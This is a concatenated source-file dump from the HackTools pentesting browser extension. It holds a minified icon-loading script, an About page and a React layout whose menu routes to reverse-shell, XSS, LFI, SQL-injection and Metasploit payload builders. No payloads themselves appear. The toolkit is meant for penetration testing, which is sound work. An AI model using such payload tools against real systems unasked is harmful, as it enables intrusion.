t,c;(c=document.createElement("div")).innerHTML=v,v=null,(t=c.getElementsByTagName("svg")[0])&&(t.setAttribute("aria-hidden","true"),t.style.position="absolute",t.style.width=0,t.style.height=0,t.style.overflow="hidden",c=t,(t=document.body).firstChild?e(c,t.firstChild):t.appendChild(c))},document.addEventListener?~["complete","loaded","interactive"].indexOf(document.readyState)?setTimeout(c,0):(l=function(){document.removeEventListener("DOMContentLoaded",l,!1),c()},document.addEventListener("DOMContentLoaded",l,!1)):document.attachEvent&&(h=c,a=t.document,o=!1,m(),a.onreadystatechange=function(){"complete"==a.readyState&&(a.onreadystatechange=null,s())})}(window); ================================================ FILE: src/components/AboutUs.tsx ================================================ import React from 'react'; import { Typography, Divider } from 'antd'; const { Title, Paragraph, Link } = Typography; export default function AboutUs () { return (
About us Our story of two students creating this app
HackTools, is a web extension facilitating your web application penetration tests, it includes cheat sheets as well as all the tools used during a test such as XSS payloads, Reverse shells and much more. With the extension you no longer need to search for payloads in different websites or in your local storage space, most of the tools are accessible in one click. HackTools is accessible either in pop up mode or in a whole tab in the Devtools part of the browser with F12. Note that this project is maintained, developed and made available for free, you can offer us a coffee, it will be very encouraging and greatly appreciated HackTools is created by Ludovic COULON and Riadh BOUCHAHOUA Paypal
Contribute We are always looking for community input into our software. Feel free to contribute to the Hack-Tools repository: - Contribute the project: https://github.com/LasCC/Hack-Tools Before submitting a bug report Check the open issues, to see if the problem is already reported. If you encounter a problem that was reported and closed, check why it was closed and if you think it should be reopened, open a new issue instead. - Report a bug: https://github.com/LasCC/Hack-Tools/issues
Credits PentestMonkey GTFOBins Antd Iconfont CN John Hammond The Noun Project PayloadsAllTheThings Fabien LOISON(flozz) for the p0wny @shell GoProSlowYo for the zsh reverse shell MITRE ATT&CK Thanks to dejisec for the Active Directory scripts ! Link
); } ================================================ FILE: src/components/LayoutApp.tsx ================================================ import React, { useEffect } from 'react'; import { Layout, Menu, Typography, theme, Button, Select, ConfigProvider, Switch } from 'antd'; import { CopyrightCircleOutlined, FullscreenOutlined, ArrowsAltOutlined } from '@ant-design/icons'; import { createFromIconfontCN } from '@ant-design/icons'; import { goTo } from 'react-chrome-extension-router'; import ReverseShell from './linux/ReverseShell'; import PhpReverseShell from './web/PhpReverseShell'; import TtySpawnShell from './linux/TtySpawnShell'; import Base64Encode from './encoding/DataEncoding'; import Hashing from './encoding/Hashing'; import LinuxCommands from './linux/LinuxCommands'; import PowershellCommands from './linux/PowershellCommands'; import LFI from './web/LFI'; import XSS from './web/XSS'; import SQLi from './web/SqlInjection'; import AboutUs from './AboutUs'; import FeedRSS from './rss/FeedRSS'; import FileTransfer from './file_transfer/File_transfer'; import PersistedState from 'use-persisted-state'; import MSFBuilder from './linux/MSFBuilder'; import EchoBase64 from './file_transfer/ObfuscatedFiles'; import Notepad from './notepad/Notepad'; const { Paragraph } = Typography; const { Sider, Content, Footer } = Layout; const IconFont = createFromIconfontCN( { scriptUrl: [ './iconfont.js' ] } ); export default function LayoutApp ( props: { children: boolean | React.ReactFragment | React.ReactPortal | null | undefined; } ) { const { defaultAlgorithm, darkAlgorithm } = theme; const setDarkMode = PersistedState( 'dark_mode' ); const [ darkMode, setDarkModeState ] = setDarkMode( false ); const handleSwtichTheme = ( value: string ) => { // Set the dark mode state based on the selected value // We can use the '===' operator because we know the value can only be 'dark' or 'light'. const isDarkMode = value === 'dark'; setDarkModeState( isDarkMode ); } interface IRouterComponent { key: string; icon: JSX.Element; name: string; componentRoute: React.FunctionComponent; } const Tabs: Array = [ { key: '1', icon: , name: 'Reverse Shell', componentRoute: ReverseShell }, { key: '2', icon: , name: 'PHP Reverse Shell', componentRoute: PhpReverseShell }, { key: '3', icon: , name: 'TTY Spawn Shell', componentRoute: TtySpawnShell }, { key: '4', icon: , name: 'Useful Linux commands', componentRoute: LinuxCommands }, { key: '5', icon: , name: 'PowerShell Commands', componentRoute: PowershellCommands }, { key: '6', icon: , name: 'Transfer Methods', componentRoute: FileTransfer }, { key: '7', icon: , name: 'LFI', componentRoute: LFI }, { key: '8', icon: , name: 'XSS', componentRoute: XSS }, { key: '9', icon: , name: 'SQL Injection', componentRoute: SQLi }, { key: '10', icon: , name: 'Data Encoding', componentRoute: Base64Encode }, { key: '11', icon: , name: 'Obfuscated Files or Information', componentRoute: EchoBase64 }, { key: '12', icon: , name: 'Hashing', componentRoute: Hashing }, { key: '13', icon: , name: 'Feed RSS', componentRoute: FeedRSS }, /* { key: '13', icon: ( ), name: 'HTTP Repeater', componentRoute: HTTPUtils }, */ { key: '14', icon: , name: 'MSF Builder', componentRoute: MSFBuilder }, { key: '15', icon: , name: 'About us', componentRoute: AboutUs } ]; const MenuItemsLists = Tabs.map( ( item ) => ( navigate( item )}> {item.name} ) ); const useMenuIndex = PersistedState( 'tab_index_cache' ); // Disabled for now const [ index, setIndex ] = useMenuIndex( '1' ); const navigate = ( { componentRoute, key }: { componentRoute: React.FunctionComponent; key: string } ) => { goTo( componentRoute ); setIndex( key ); }; const windowMode = () => { const width = 1100; const height = 800; chrome.windows.create( { url: chrome.runtime.getURL( 'index.html' ), width: width, height: height, type: 'popup' } ); }; useEffect( () => { const currentComponent = Tabs.filter( ( obj ) => obj.key === index )[ 0 ].componentRoute; goTo( currentComponent ); }, [] ); const target = window.location.href; const handleHatClick = () => { const notepad_route_ctx = { key: '1', name: 'Hat Clicked', componentRoute: Notepad } navigate( notepad_route_ctx ); }; return (
{MenuItemsLists}
{props.children}